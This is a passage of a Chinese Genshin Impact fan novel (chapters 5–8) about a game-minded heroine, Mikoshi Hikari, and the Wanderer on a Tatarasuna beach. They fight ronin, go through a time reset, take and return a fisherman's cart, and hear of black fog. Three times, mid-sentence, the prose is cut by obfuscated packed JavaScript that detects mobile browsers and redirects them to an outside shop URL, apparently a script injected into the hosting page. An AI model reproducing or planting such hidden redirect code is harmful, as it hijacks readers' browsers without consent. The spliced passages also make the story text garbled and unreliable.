“已经傍晚了,进不去就算了。”光缡看了一眼天色,“我们明天再来锻造炉这边吧。” “真的不能进去吗,御舆小姐?”倾奇者看着那座巨大的炉心,眼神微暗,有些遗憾地叹息,“我很想进去看一看。” 光缡无奈地摊了摊手:“如果可以的话,我也想带你进去啊,但这里我哥哥非常重视。我回去问一问他,看看是什么情况……” 光缡原本是打算直接从山上爬上去的,嗑一点恢复体力的食物轻松解决,但是这里被空气墙围住了。 那就没有办法了。 路遇空气墙,第四天灾也只能无能为力。 “那好吧。”倾奇者也只得放弃。 两人并排走在海边的沙滩上。 微风吹拂,夕阳西下,将两人的影子拉得很长。 这氛围烘托得到位极了,还真有那么几分纯情约会的味道。 如果没有听到远处NPC那句“救命!有人要杀我!”的话。 听到这熟悉的台词,光缡连脚步都没停,根本没打算管。 这种随机刷新的拯救任务,在她冒险等级16级前就已经玩腻了。 给的摩拉和经验少得可怜,还要浪费大把时间听NPC在那哭诉。 她现在可是22级的成熟玩家了!她的时间很宝贵,才不会和这种蚊子腿任务一般见识。 但是…… 就在求救声响起的瞬间,走在她身边的倾奇者,竟然没有丝毫犹豫,第一时间就朝着声音传来的方向冲了过去! 光缡:??? 你也是角色吧倾奇者! 你怎么能可以做到自主行动的! 地图上几乎每天都有随机NPC被野怪抓住,根本救不完的好吗! 就算你要去救人发善心,我也只会在旁边挂机等你打完—— 【触发突发事件!】 【任务目标:在海乱鬼手中救下无辜渔民。】 【任务奖励:摩拉x1000……(一些光缡根本不会记住的蚊子腿),以及随行角色好感度+5】 光缡眼睛瞪得溜圆。 它说了好感度+5。 对吧。 退后,现在是玩家的show time! 我上了。 光缡从背包掏出增加移速的食物,风卷残云地吃掉,脚底踏出一圈气浪。 她借力腾空,身形化作一道流光,瞬息间便超过倾奇者,甩在身后。 奔行中,她摸出攻击buff食物,一口塞入口中。 光缡右手虚空一握,无数微粒迅速在掌心凝聚、重组,一把泛着寒芒的利剑赫然成型。 她剑指前方,语气是睥睨天下的嚣张: “放开那个NPC!让我来!” 为了区区5点好感度,第四天灾,堂堂登场! 5. 第 5 章 在光缡冲上去和海乱鬼战斗后,散兵第一时间将吓瘫的渔民拎到安全地带,然后找好位置,旁观起御舆光缡的战斗。 她刚才喝药和拔剑的动作,行云流水,毫无破绽。 难道说,她这身滑稽的铠甲下,真的隐藏着什么恐怖的武道造诣? 散兵猜测着。 下一秒,战斗爆发。 面对三个挥舞着太刀的野伏众,光缡不退反进。 她迎着敌人的刀锋,无比自信地疯狂闪避,企图用无敌帧规避伤害。 然后,她以异常利落的姿势……在海乱鬼太刀落下的前一秒,提前完成了闪避动作。 “砰——!!!” 无敌帧完美错过,伤害吃满。 海乱鬼的太刀结结实实地劈在了光缡的身上。 伴随着一声沉闷的巨响,她整个人如同断线的风筝般被击飞了出去,在空中划出一道抛物线,掉在不远处的沙泥地里,连续翻滚了七八圈才堪堪停下。 光缡的脸色瞬间惨白,气息迅速萎靡。显然,刚才那一刀让她受了重伤。 就这?! 刚才那副绝世高手的架势,结果连人家一刀都接不住?! 散兵在后方没忍住翻了个白眼,只觉得刚才对她的实力抱有期待的自己,简直可笑至极。 眼看海乱鬼再次举起屠刀,散兵正要暗中出手,救下这个不知天高地厚的蠢货—— 就在这时,躺在地上奄奄一息的光缡,突然从虚空中掏出两只完整的甜甜花酿鸡,连骨头带肉塞进嘴里吃了下去。 苍白的脸色瞬间红润,致命的贯穿伤不药而愈。 光缡一个鲤鱼打挺从地上弹了起来,举起那把破铁剑,嗷嗷叫着再次冲了上去! ……竟然这样就修复好状态了吗。 散兵闭了闭眼。 很好,他已经对御舆光缡身上,发生的奇怪事情接受度良好了。 接下来的半刻钟,他被迫观赏了一场惨烈无比、又相当没有技术含量的刮痧表演。 光缡的打法总结起来只有一句话:闪避全空,伤害全吃,疯狂吃药,然后非常、非常努力地乱砍。 她就像个没有痛觉的怪物,用笨拙的操作,硬生生地把周围的野伏众小弟全部砍翻。 首领海乱鬼见势不妙,转头正要撤退。 “想跑?!不可能!”光缡红着眼扑了上去,死死拦住首领的去路。 “你爆出来的刀镡最多了。” 刀光剑影中,两人开始了殊死搏斗。 光缡像个泥鳅一样在地上疯狂闪避,时不时上去砍一剑,然后继续苟着,等待下一个输出窗口。 凭借这种毫无尊严的打法,在血条即将再次见底的极限时刻,光缡硬是用一记毫无章法的平A,险之又险地将海乱鬼磨死在了沙滩上。 “呼……呼……” 光缡单膝跪地,用剑撑着身体,大口大口地喘着粗气。 她此时的血量很不健康,只剩下不到150点。 她目光巡视一圈,找到散兵后,疲惫又兴奋地比了个“V”字手势。 海乱鬼已全部打倒,但她没有下杀手。 确认安全后,躲在一旁的渔民冲了出来,含着热泪一把握住光缡的手: “多谢救命之恩!您的身手真是出神入化,刚才那套剑法行云流水、滴水不漏,我简直大开眼界!您天下无双!踏鞴砂能有您这样的绝世高手,真是我们的福气啊!” 是啊,没错,这点三脚猫功夫,还是别学着小说主角,行侠仗义—— 等等,渔民刚刚在说什么。 散兵顿住。 这个渔民在说什么? 他是不是幻听了? 绝世高手?天下无双?行云流水? 是指满身泥巴、刚才还在地上连滚带爬、靠着狂吃烤鸡才勉强苟活的御舆光缡吗? 而渔民……满脸写着真诚与崇拜。 眼神中没有一丝丝作伪。 散兵深深地陷入了荒谬的错位感中。 他感觉自己仿佛误入了一本名为《全提瓦特战斗水准下降一百倍,只有我保持原状》的三流轻小说。 渔民看到的御舆光缡,带着一层厚厚的滤镜,那套滑稽笨拙的王八剑法,成了绝世高手的剑舞。 而他看到的是,有些笨拙乃至狼狈的战斗场景,完全出自一个不懂战斗的新手。那种保护她活下来、还能让她获得胜利的权能,才真正配得上一句“天下无双”。 他和渔民眼中的御舆光缡,完全是两种面貌。 散兵不由回想起初见御舆光缡时,她在会客室里的各种离谱行为,那些举动侍从们孰若无睹,他却能看得一清二楚。 这其中一定有什么蹊跷。 散兵笃定。 就在散兵以为,这个刚才还在满地找牙的女人,面对如此夸张的赞美至少会心虚一下时—— 御舆光缡不仅全盘接收,还堂而皇之地认为她就是高手。 她做作地咳嗽了两声,强行挺直了因为残血而微微佝偻的脊背,试图来一个“收起武器”的帅气动作,结果手腕卡了一下,铁剑尴尬地转了半圈,险些削到自己的膝盖。 但她丝毫不慌,面不改色地将剑往沙地里一插。 随后,她单手叉腰,四十五度角仰望海边的夕阳,摆出了一个自认天下无敌、忧郁多情的绝世高手Pose。 “哼,区区几只海乱鬼,不过是我剑下的尘埃罢了。” 光缡入戏地甩了甩沾满沙子的头发,语气里充满了那种“我真厉害”的狂妄, “路见不平拔刀相助而已,不必太过挂怀!” 散兵:…………………… 此时无声胜有声。 过足了天下第一的干瘾后,光缡这才十分大度地一指后方的散兵: “当然啦,都是举手之劳哈哈!其实你应该谢的人不是我,是那位小哥!是他先行听到了你的求救声,及时给我提供了这几个精英怪的精准坐标点!” 渔民立刻调转方向,对着散兵千恩万谢。 “真的谢谢您!” 渔民从渔网里挑出了几条最大、最肥的鱼,硬塞到了光缡的手里。 御舆光缡假模假样地推脱了两下,然后十分心安理得地把鱼收下了。 因为还要回家给孩子做饭,渔民这才依依不舍地告别了救命恩人。 御舆光缡拎着那几条还在活蹦乱跳的鱼,一瘸一拐地走到散兵身边,如释重负地长叹了一口气: “他终于走了……哇,我真的要坚持不住了,身上好痛!那些海乱鬼人好多的,伤害又那么高,还好我提前上了Buff……” 她将手里的鱼递了过来,“喏,这个你拿着,倾奇者。” 散兵下意识地接过那串湿漉漉的鱼。 看着御舆光缡遍体鳞伤的狼狈模样,终究还是没忍住,问道:“你伤得这么重……刚才为什么不喊我帮忙?” 明明他就在旁边。 向同伴求助不是应该的吗。 诚然,最开始是他故意躲起来的,想要试探御舆光缡的实力。 但看着她战斗得那样辛苦,却那样努力…… 只要她开口,哪怕是为了不让她意外死亡导致时间重置,他也绝对不会一直袖手旁观。 “什么?还能这样的吗?” 御舆光缡震惊无比,“原来你不是纯看戏的交互NPC,是可以进队伍协战的呀!” 她小声地嘟囔着,“助战功能在哪儿开啊?试用角色不是应该自动进编队的吗……难道要切面板手动设置出战?快捷栏上也没看到切人的按键啊……算了暂时没找到,等一下切回后台设置再找吧。” 散兵:…… 感觉刚刚升起的一点点愧疚感,要消散干净了。 御舆光缡熟悉地掏出一只甜甜花酿鸡,放到嘴边,最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449509|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹙了蹙眉毛,口中嘟囔着:“哎呀,吃不下了。” 收起甜甜花酿鸡,她才重新看过来,对着散兵笑道:“下次的话,如果你想帮忙,我会叫上你的。但现在……” 御舆光缡的表情变得严肃。 “我有一件相当重要的事情要做!” 重要的事情? 难道还有残存的敌人潜伏在暗处? 散兵的神经也跟着瞬间紧绷了起来,眼神锐利地扫向四周。 然后,他就看到,那个刚才还喊着“好痛”的女人,毫无形象地猛扑向地上的海乱鬼,动作熟练地在他们身上疯狂摸索,扒拉东西。 一边摸,一边开心地仰天大叫:“哈哈!掉落了6个刀镡!爆率这么高!谁有我欧!” 他就不该对这个女人的脑回路抱有任何正经的期待。 光缡已经一路摸到了首领海乱鬼的身上,看她那放光的眼神,想必是收获颇丰。 没一会儿,她开心地捧着什么东西,像献宝一样向他小跑了过来。 “这个送给你!我猜,你一定喜欢!” 御舆光缡伸出紧握的手,掌心向上。 在确认散兵的注意力完全被吸引过来后,她才神神秘秘地打开手指。 躺在她掌心的,是几个【影打刀镡】。 “你刚才那么想去参观御影炉心,应该对锻刀有着特殊的情感吧!” 光缡仰起头,笑着,“我就知道那个首领身上一定会掉好东西!果不其然!这些稀有的锻刀材料送给你,祝你早日实现你的梦想!” 散兵垂下眼帘,看着她掌心里那几块沾着血迹的刀镡。 所以……她刚才殊死搏斗,把自己弄得遍体鳞伤,差一点死了,就是为了这几个小铁片? 为了送给他? 散兵心中荡起难以言喻的异样。 他厌恶这种感觉。 算计、背叛与等价交换是他烂熟于心的生存法则,可面对这种毫无逻辑、近乎荒谬的纯粹,他却束手无策。 某种沉重而陌生的情绪在心底悄然蔓延,事情正逐渐滑向他无法掌控的边缘,让他下意识地想要竖起尖刺去抗拒。 御舆光缡,果真如传言所说,是个个性古怪、让人有些无法招架的人。 “谢谢你的礼物,御舆小姐。” 散兵用倾奇者的口吻说着,伸手接过。 就在他接过礼物的几秒后。 御舆光缡的双眼,突然像两个通电的灯泡一样,闪烁起来光芒! 她抽风地手舞足蹈起来,仿佛突然接收到了什么天大的好消息。 而这个“天大的好消息”,其实是只有她才能看到的一句话: 【雷电国崩重度依赖,好感度+5】 “好耶——!!” 光缡得意忘形地一蹦。 “啪叽”—— 她精准地踩进了旁边的一个小水坑里。 那个水坑里,还残留着,刚才海乱鬼劈下的雷元素。 两种元素力交加,感电反应。 “滋啦——” 刚刚还生龙活虎、开心得像只猴子的御舆光缡,浑身一阵剧烈抽搐,直挺挺地倒下了。 死透了。 散兵:“……………………” 海风拂过,夕阳无限美好。 散兵手里还握着那几枚带着余温的刀镡,呆呆地望着地上的那具尸体。 他已经说不清自己现在脸上究竟是个什么表情了。 没有杀意,没有震惊,只剩下一种深深的、让人想要直接放弃思考的无力感。 荒谬。滑稽。无能狂怒。 她能躲过致命的刀伤,在绝境中强杀海乱鬼,最后……被一个没过脚底板的水坑给活活电死了。 散兵的理智在崩溃边缘疯狂徘徊,他在心底发出了绝望的控诉: 你那无敌的回血烧鸡呢?! 你倒是吃啊!!! 6. 第 6 章 散兵眼前的景色模糊起来,时间重置发动。 “放开那个NPC!让我来!” 御舆光缡气势汹汹地冲了出去。 时间重置的节点改变了。发现不用再回到会客室,散兵刚刚暗自松了口气,下一秒神经又陡然绷紧。 他又要盯着御舆光缡这个麻烦精,免得她再去送死! - 【读档成功——】 上周目因为饱食度满了吃不下料理,导致没能及时回血惨死,太丢人了! 这绝对是她玩家生涯中的黑历史。 还好没有别人看到。 这一周目她吸取了血的教训:绝对不能再乱塞食物了,要尽量靠走位无伤通关,这样她才能慢慢变强。 沙滩上的野伏众拔出佩刀,面露凶光。 就在太刀裹挟着劲风劈落的刹那—— 光缡只觉后衣领猛地一紧。她像是被攥住了命运后颈皮的小猫,一股无可抗拒的力道将她硬生生向后拖拽了半步。 “唰——!” 刀风几乎是贴着光缡的鼻尖削了过去,劈在她半秒钟前落脚的沙地上。 光缡惊魂未定地微微仰起头。 视线倒转,映入眼帘的,是倾奇者那张漂亮的脸庞。 倾奇者察觉到她的视线,眼睫微垂,凉凉地扫了她一眼。 那层温和无害的伪装消失不见,凌厉与讥诮一览无余。在撞上光缡错愕的视线后,他眼底纯粹的杀意才稍稍收敛,化作一抹居高临下的嘲弄。 不知道为什么,光缡觉得她被拉踩了。 倾奇者那神情仿佛在说,看好了,很帅的战斗我只表演一次。 没等光缡回过神来,他已劈手夺过她手中的长剑,反手将她往身后重重一推。 “去安全的地方待着。”他头也不回地丢下一句,语气不容置喙。 话音未落,他已化作一道残影。 与其看御舆光缡像只史莱姆一样满地打滚刮痧,最后一头栽进水坑里把自己电死引发时间重置,不如他亲自来个痛快。 仅仅几个呼吸,海乱鬼势如破竹的攻击连他的一片衣角都未触及,便全数倒地。 散兵手腕一振,甩去剑上的血珠,像一只高傲的猫儿轻盈落地,纯白的装束一尘不染。 “多谢借剑,御舆小姐。” 他弯起眉眼,一秒切回那副温和无害的伪装。 躲在远处的渔民,和刚才还打算“大展身手”的光缡,齐刷刷看呆了。 半晌,两人不约而同地爆发出一声惊呼: “您战斗起来太优雅了!!!” “……好厉害!太强了吧!” 光缡的溢美之词像弹幕一样喷涌而出:“天呐!这行云流水的身法!这摧枯拉朽的伤害!区区几个野伏众在您的剑下就像是被切掉的水果——” “几个流浪武士而已。”散兵冷淡地打断了她。 散兵冷嗤。 几个海贼再处理不好,也不用留在四百年前的踏鞴砂,等着要多托雷的小命了。 要不是雷神的封印,哪里要费这么多功夫。 “是是是,您说得对!”御舆光缡对他突然恭敬极了,“您这么厉害,一定什么都能做到吧。” 啧,听这语气大概率是想抓他做免费劳力,他可没这份闲心。 散兵果断拒绝,立即换了倾奇者的说话方式,装作有些不好意思道:“御舆小姐,您就别打趣我了,我也只是运气好而已,天色不早了,我们快点回去吧。” “嗯好!不过你稍微等我一下!” 御舆光缡一口答应下来。 散兵已经摸清了她的脾性,“倾奇者”这副乖巧无害的面具,在她面前极为好用。 光缡随手把剑收起,两眼放光地搓了搓手。 接下来就是激动人心的捡材料环节了! 不用自己亲自动手就有一大堆材料,这种坐享其成的生活,真是惬意啊。 她冲向地上的海贼,绕着转了好几圈。 笑容在她脸上消失。 空空如也。 连一粒元素能量球都没有! 光缡大惊失色:“不对劲!怎么什么都没爆?!” 难道是因为尾刀是NPC补的,所以取消了玩家的掉落奖励?! 痛失战利品的光缡蹲在一旁,大脑一反常态地飞速运转。 倾奇者这周目为什么突然代打? 光缡在心里飞快地盘算着这几次读档的诡异之处: 上上周目,她因为体力耗尽在河里淹死了,结果,倾奇者就拦着她,不让她靠近那条河。 上周目,她在这里意外死掉,这次读档回来,倾奇者就直接冲上去大包大揽,把怪全秒了。 破案了! 这绝对是隐藏的“动态难度调节系统”!系统检测到她这个账号在此区域的死亡率过高,为了防止她卡关退坑,强行让同行的NPC战神附体代打! 也许是没有成功将倾奇者编入队伍,所以他击倒的敌人,不会掉落物品。 光缡的心情瞬间复杂到了极点。 大世界打几个破小怪,居然触发了系统的动态平衡施舍? 这简直是对她操作技术的奇耻大辱! 传出去她以后在玩家圈里还怎么混?!银狼不得笑话死她! 她愤愤不平地抬起头,正对上倾奇者那张漂亮得毫无瑕疵的脸。 微风拂过他纯白柔软的衣角,那双紫色的眼眸清冷又神秘。 光缡:“……” 看着那张赏心悦目的脸,光缡把心里的不甘又咽了下去。 算了。如果系统分配的代打NPC都长这么好看,这种被游戏看扁的羞辱,她也不是不能勉强接受。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449510|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“两位恩人!” 躲在后面的渔民终于缓过神来,一把鼻涕一把泪地开始走剧情流程。 “要不是你们,我今天就交代在这里了!我家里还有八十岁的老母……” 光缡对这种又长又臭的NPC支线对话毫无兴趣。 如果不是为了当初那5点好感度,她才不会去接这么一个无聊的任务。 她熟练地将视线投向虚空中的右上角。 那里正亮着一个散发着神圣光芒的【跳过】按钮。 啊,跳过键,你才是真正救我于水火之中的卡密啊。 “我那苦命的女儿还在家里发着高烧……”渔民哭天抢地。 【跳过】 渔民的声音戛然而止,眼泪还没掉下来就被吸了回去,硬切到了下一句台词:“那些海贼抢走了我所有的积蓄……” 【跳过】 “我真的不知道该怎么——” 【跳过】 “请你们一定要——” 【跳过】 渔民每次一开口,话语和动作就会被一种无形的力量强行掐断。 前一秒还在悲痛欲绝,下一秒突然义愤填膺,随后又变成感恩戴德,而他本人却丝毫没有察觉到。 散兵见怪不怪地看着御舆光缡将渔民玩弄于股掌之间。 看着与他同病相怜的渔民,散兵眼底闪过一丝罕见的怜悯。 真可怜,又是一个受制于这个疯女人的倒霉蛋。 在光缡的坚持不懈下,剧情对话被强行拖到了最后一句。 “……两位的大恩大德,我没齿难忘!”渔民十分自然地抹了抹眼泪,“天快黑了,我也要赶紧回村子了。两位如果顺路……” 听到“天快黑了”,光缡抬头看了一眼逐渐暗沉的天色。 她想起倾奇者也在催促她返程,不要在外停留。 想到又要走半天路,光缡心里一阵犯懒。 【任务完成,摩拉+1000……】 【雷电国崩重度依赖,好感度+5】 太好了,她等的就是这一刻! 光缡迫不及待地动身。 她点点头,大步流星地走向渔民。 【是否夺取车辆控制权?】 光缡:是。 渔民满脸堆笑:“让我捎二位一段路吧——哎哟!” 渔民话还没说完,光缡一把他揪住的衣领,将他从车上拽了下来,随手往沙滩上一扔。 渔民四脚朝天摔在沙堆里,整个人都懵了:“恩人……您这是?” 光缡看都没看他一眼,行云流水地跨上车,一屁股坐上去,仿佛夺取了属于自己的王座。 随后,她转过头,背对着满脸惊恐的渔民,冲着不远处风中凌乱的倾奇者扬起一个甜美纯真的微笑: “任务做完啦!我们坐车回去吧,倾奇者!” 7. 第 7 章 就在15分钟前,这个女人还像个救世英雄一样冲出去行侠仗义。 下一秒却无缝衔接,化身强盗把渔民赖以生存的推车给抢了。 她这么做就没有负罪感吗? 她没有心吗? 散兵表示谴责。 【雷电国崩重度依赖,好感度-5】 【当前好感度:0/100】 光缡笑不出来。 惩罚来得也太快了吧! 在洛圣都坏事做尽,都有时间开车逃跑的啊!这游戏怎么连个缓冲都没有?! 好不容易刷的5点好感度没了,他本来就难搞。 唉。 万万没想到,倾奇者道德水平居然会这么高。 有他在旁边,显得她素质好低啊。 明明……这都是玩家常规操作嘛! 光缡一边心疼好感度,一边习惯性地把车上的高亮交□□摸了一遍。 【鲜鱼X1】 【鲜鱼X1】 【鲜鱼X1】 …… 哇好多鱼肉,之后做回血料理应该用得到—— 一双充满审视的眼睛,正在盯着她。 倾奇者双手抱胸,面无表情。 审视审视审视—— 四眼相对中,光缡有所明悟。 这周目还没给倾奇者送礼物呢! 她果断掏出刚顺来的最高星级的鱼,递到倾奇者面前: “这个送给你!刚打捞上来的新鲜鱼肉哦!” 散兵后退半步,看着正在无力吐着最后几个泡泡的鱼,眼底的嫌恶几乎要化作实质。 是刚打捞上来的没错,但这是你打捞的吗你就送人? “我不需要。” 散兵拉开距离,语气里透着不容商议的拒绝。 【雷电国崩重度依赖,拒绝了您的赠礼。】 光缡默默把鱼收回了背包。 记笔记:他不喜欢鱼。 看来这周目没能获取掉落的刀镡,确实是个巨大的损失。等回去了高低得去野外多刷几个营地,把失去的刀镡打回来才行。 渔民此时也爬了起来,有些不解望着坐在自己车上的光缡,结结巴巴地开口:“恩、恩人,您这是在干什么呀?这、这天都快黑了,咱们还是快点回去吧……” 光缡呆呆望着他,不为所动。 这车是她亲手拿下的,怎么就不是劳动所得了? 散兵调整了一下状态。 他知道,如果自己不开口,这个强盗女人恐怕是不可能把车还给人家的。 “御舆小姐。” 他微微蹙眉,隐忍地责备道:“我初来乍到,竟不知原来在踏鞴砂,救下他人的代价,便是可以这般理直气壮地将受难者洗劫一空么?” “啊?” 光缡无辜地眨了眨眼。 散兵上前一步,不给御舆光缡反驳的机会,继续道:“若‘行侠仗义’的结局皆是如此,那您此时的做派,与刚才那些被您踩在脚下的海贼,又有什么分别?” 他顿了顿,轻补上了最后一刀:“不,或许您比海贼还要高明些。毕竟海贼抢劫尚需明火执仗,而您打着恩人的旗号趁火打劫,倒叫人连句冤枉都喊不出来呢。” 散兵火力全开,一通绵里藏针、夹枪带棒的发言,让光缡陷入了思考。 说教环节?在游戏里好难得的体验。 NPC居然会根据玩家的恶劣行径给出这么长、这么有逻辑的负面反馈,好真实。 哇——倾奇者看着超生气的,脸颊都在泛红,好可爱。 被他用这么好听的声音、这么华丽的词藻阴阳怪气地痛骂素质差…… 哈哈好爽。 没错,请狠狠地骂我,用最下流的词汇,形容我这个强盗吧。 这是我这个没素质的玩家应得的惩罚。 倾奇者冷冷看着她,似乎在等她反省。 光缡精神焕发地从车上跳了下来,凑到他身边:“你说的对!我这就把车还给他。” 玩游戏嘛,主打的就是一个情绪价值。被自推奖励得爽了,那顺手放过一个npc也是小事一桩。 她走向被扔在沙堆里的渔民,一把将人薅起来:“大叔,不好意思力气没控制好,车还你!” “求求你!放过我!” 渔民像见了鬼一样挣脱,连滚带爬后退三米,熟练地抱头蹲防,像只雪地里把头埋起来的傻狍子。 头顶多出一个半满的橙色图标。 光缡走近一步,渔民平移三米,再次抱头蹲防。动作熟练得让人心疼。 光缡不信邪地又往前凑了两步。 渔民再次惊恐地平移、抱头、蹲防。 图标中的橙色又上涨了一些。 散兵时刻记得自己的人设,立即放柔声音,试图安抚这个可怜的渔民:“您别害怕,海贼已经被击退了,我们不会伤害您的。” 然而,渔民的仇恨判定,似乎完全锁定在了光缡的范围内,对倾奇者的温声细语毫无反应,依旧死死抱着头,嘴里只会重复一句话:“求求你,放过我……” “他进入受惊状态了,麻烦了。” 光缡发愁地揉了揉头发,用散兵完全听不懂的词汇嘟囔着。 面对陷入负面状态的NPC,玩家的常规操作当然是——送礼物刷好感! 光缡打开背包,把刚才从车上顺走的那几条鱼掏了出来递过去:“这个鱼送给你。” 渔民惊恐万分地接下。 散兵觉得现在发生什么事都不能让他惊讶了。这人明明害怕到不敢让御舆光缡靠近,居然还敢接下她的礼物? 渔民双手触碰到鱼的瞬间,猛然间站直了身子,恐惧一扫而空,露出有些虚假而狂喜的笑容说道: “这难道是给我的吗?实在太感激了,有了这个,今天总算是走运了!” 渔民捧着那几条本就属于他自己的鱼,声情并茂地朗诵受礼台词。 散兵:……又见证了一种新的玩弄方式。 然而下一秒,渔民收下礼物后笑容瞬间消失,又原模原样地蹲了回去,抱住脑袋继续瑟瑟发抖:“求求你,放过我……” 橙色下降了一点,但还小一半。 这下光缡也头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449511|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛了。 好感度礼物也送了,还是没有哄好。渔民的惊恐值有些高呀。 她真的很想丢下渔民一走了之,但是倾奇者必然会扣好感。 为了不让倾奇者失望,光缡神色凝重地嘱咐:“你在这儿看着他,千万别动,等我十秒钟,我去去就回。” 散兵顿觉不妙。 光缡深吸一口气,狂奔而出。途中穿插起跳、冲刺、半空开风之翼,主打一个切断后摇的极限赶路。 散兵眼看着御舆光缡的身影已经缩成了一个模糊的像素点,几乎要融进海平线的尽头。 那个小黑点突然急刹车,原地180度转身,又以同样跳脱的姿态狂奔了回来。 她跑到一半速度突然慢了下来。只见她摸出一杯饮料咕噜咕噜喝了下去,瞬间又活力满满地跑了回来。 “呼……我回来了……” 御舆光缡气喘吁吁地急停,跑回原位。 这些招数散兵先前都已经见识过了,因此没太惊讶。只是御舆光缡平白无故把这套组合技使出来,是为了……? “哎呀,天快黑了!” 旁边突然传来一个极为正常、透着几分焦急的声音。 散兵转头。 前一秒还在抱头蹲防的渔民,此刻已经稳稳当当地站了起来。 他像个没事人一样,热情地招呼他们:“两位恩人,天快黑了,这地方可不兴久留,快上车吧,我捎你们回村子!” 好了?! 就这么跑个来回,精神创伤就彻底痊愈了? 光缡得意地拍了拍手:“果然,跑远一点卡掉渲染距离,让系统把这块区域重新加载一遍,NPC状态就刷新了!” 散兵紧紧抿着嘴唇。 他发现,他对这个女人的了解,恐怕连十分之一都没有。 光缡拉着倾奇者,乐颠颠地坐上了渔民的货车。 这辆车的结构类似于三轮车。光缡倒没太在意为什么三轮车会出现在稻妻,毕竟连武士之国被外星人入侵的设定都有呢。 木轮碾过沙地,发出“吱呀吱呀”的摩擦声。 “两位恩人坐稳了,咱们得快点赶路。” 渔民驱使着车,加快速度,时不时紧张地抬头看看天色。 散兵坐在车上,陷入沉思。 他刚才用“天色不早”作借口,不过是不想帮她打白工。但渔民却已多次主动提起天黑这回事。 天黑之后,是有什么吗? “最近这段日子,实在是不太平。” 渔民叹了口气,压低了声音,仿佛生怕惊动了什么, “这天只要一黑啊,附近的海滩上就会升起古怪的黑雾。好几个夜里出来打渔的同乡,都说在黑雾里看到了恶鬼!听说还有人被咬伤了,到现在还躺在家里下不来床呢。” 黑雾?恶鬼? 散兵发觉不对劲。 四百年前的踏鞴砂,虽然有海贼流窜,但绝对没有什么成规模出没的恶鬼和黑雾。 散兵心底生出了一股强烈的不安。 这异象背后隐藏的东西,他必须亲自去查探一番。 8. 第 8 章 “大叔,你说的那些黑雾在哪儿?” 御舆光缡先一步凑上前,感兴趣都写在了脸上。 散兵闭上嘴,默不作声地把交涉的舞台让给光缡。 有些时候,她那种异于常人的脑回路,总有些出乎意料的效果。 当你发现此人无法沟通后,自然想着那就随她去得了。 “你们该不会要去调查吧?”渔民面露难色,“我知道两位身手不凡,但有些离奇的事,碰了是要倒大霉的。” 光缡才不管这些。 这里是游戏,只要有了血条,哪怕是神也杀给你看,何况区区黑雾恶鬼? 这一听就是个任务,还是个没有接取的任务。 身为一个合格的玩家,就算接了任务放着长草,也绝不能允许地图上有自己没摸过的感叹号。 “放心吧大叔,只要它亮血条……咳,我是说,既然我们敢问,就有实力解决。”光缡拍了拍旁边散兵的肩膀,“你也看到了,他很厉害吧?尽管把情报交给我们吧。” 渔民犹豫了半晌,叹了口气:“我妻子以前撞见过那黑雾,你们可以去问问她。只是……去我家坐坐,天也就黑了,夜路恐怕不安全。” “那正合我意。”光缡摩拳擦掌,“正好晚上蹲点把那怪刷了。” 渔民干笑两声,显然把她的话当成了不知天高地厚的大话。 两个年轻人,一个看着像养尊处优的小姐,一个虽然身手不凡但身形单薄,怎么看都不像是能降妖除魔的。 但见拦不住,他也只好引路。 渔民的家在村子边缘,一间破旧但打理得很干净的茅草屋。 虽然简陋,但是墙角的木桶、桌上的破碗、门框上的缝隙,都闪烁着【调查】的诱人高光。 光缡两眼发光,犹如老鼠进了米缸。 进屋不扫荡,她对得起策划辛勤掉落的头发吗! 光缡正要变身收割机形态,倾奇者却不动声色地跨前一步,挡在了她和那些罐子中间。他看似无意、实则用力地扯住了光缡的衣袖。 “御舆小姐,你的袖口破了,你看。”他将袖子抬起到她眼前。 那华贵的布料上,确实破了一个不大不小的洞,也不知是在哪根树枝上挂的。 “破了啊……完全没印象了。”光缡的注意力瞬间被转移,低头小声呢喃。 她从来没注意过游戏里的衣服还会破洞,难道不应该是只有“弄脏”,然后收进背包再拿出来就能一键变干净的吗? “嗯,是啊,破得真可惜。” 倾奇者面不改色地附和,手指却犹如铁钳一般,死死捏住那截布料,不给她丝毫脱离身边的机会。 别以为他没有看出来御舆光缡的心思。 她嚯嚯御舆家,那毕竟是她家,他管不着,但要是敢在踏鞴砂的平民家里翻箱倒柜,除非他死了。 总之,只要能阻止她胡来,就算这袖子没破,他也能当场给她抠个洞出来。 光缡的注意力彻底被衣服的“战损机制”分散,站在原地好奇地检查起身上其他地方,一时没有动弹。 就在这时,里屋的门帘掀开了。 一个面容憔悴的女人,在一个四五岁小女孩的搀扶下走了出来。 “平次说,是二位救下了他……咳咳咳,快请坐。” 